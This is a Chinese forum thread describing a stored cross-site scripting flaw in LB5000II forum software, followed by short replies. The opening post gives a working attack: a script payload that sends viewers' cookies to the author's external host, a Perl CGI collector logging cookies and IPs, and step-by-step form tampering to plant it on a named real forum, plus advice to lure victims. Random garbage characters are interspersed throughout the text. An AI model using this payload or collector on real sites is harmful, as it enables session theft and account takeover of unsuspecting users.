雷傲跨站脚本漏洞收集用户cookie漏洞，适合与任何版本，任何系统

幸福的傻瓜

漏洞描述：
( u0 t) Z" W+ m" ^6 `  LB5000II是国内流行的CGI程序之一，是在Ikonboard的基础之上改进的，目前最新
) J) x6 J7 S/ ^5 U) d+ P5 G版本是LB5000II v20317b，可以http://www.leoboard.com下载。
  其注册模块未过滤用户资料   最高学历：职业状况：等注册信息
导致恶意用户可以通过伪造<s cript>alert(documents.ｃookie)</s cript>
; O8 J" a4 H) I. U. |, d进行攻击，进一步可以通过某中方式收集。测试通过
测试程序：
) O. J, O% m: R  _  F- X  参考漏洞描述。
解决方案：
) v. t( V/ D% d" z  N  对用户提交的资料进行过滤
2 t3 h' h+ B" Z% P9 {" \$ {   

请在s8s8论坛访问
* n; y$ }# W! [, Y# Y  [( ^http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
7 b; M7 Q! J# [1 s4 A! K那么你在s8s8.net 的cookie将被我所获取.
#!/usr/bin/perl
#leo.cgi
$url="http://www.s8s8.net";;
6 c: S1 b. W' ~9 x$method=$ENV{"REQUEST_METHOD"};
. E: v' d; ?* R) Xif(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};}
& z  E7 G# j* `; pelse{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));}
' Q# {2 u* S7 v8 W$remote_addr=$ENV{"REMOTE_ADDR"};
$buffer=~tr/+/ /;
: S! z, n6 M* f3 d% V5 H$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
$buffer=$buffer."|$remote_addr\n";
, b/ c: u" }  ?8 X' _1 `open(FILE,">>leo.txt");
print FILE $buffer;
" h: B# c, c! c% y- bclose(FILE);                       
print "Location:$url\n\n";
  d* \, G3 w# r9 [' u0 ?4 }上面是我的cookie收集脚本
------------------------------------------------------------------------------
范例：以s8s8为例，感谢好友狩猎者 shocknet 帮助测试
( x( r- i. z5 Z( W用大刀队登陆s8s8论坛，编辑个人资料，
用记事本打开编辑网页
<option value="中专">中专</option>  这一项改成
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?&#39;+documents.ｃookie)</s cript>">中专</option>   
* s5 {+ H5 t* g: [& p
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data">
改为
<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
保存编辑的网页，用自己的页登陆，选“中专”一项，提交数据，
6 M2 r% U1 ^  j! K( I: I6 {" b) M% C这样以后只要查看大刀队的资料的用户，那么查看者的cookie资料将被截获。
2 V$ y% ^0 F5 x/ m为了伪装的更好，可以在论坛发具有诱惑力的帖子连接，吸引人家去点击，
: X: S& S* n! {1 ^' [3 a  h什么算诱惑力呢，自己发挥吧。
: q1 v6 m% g! ~

lostway

我连怎么设置超连接都不懂~~~汗~！能教教我吗？
（我指在贴上设置）
9 j* L  X/ E0 l5 ~: I

YES东

我们的论坛虽然是使用这个程序！但没这个问题！

幸福的傻瓜

那当染好了啊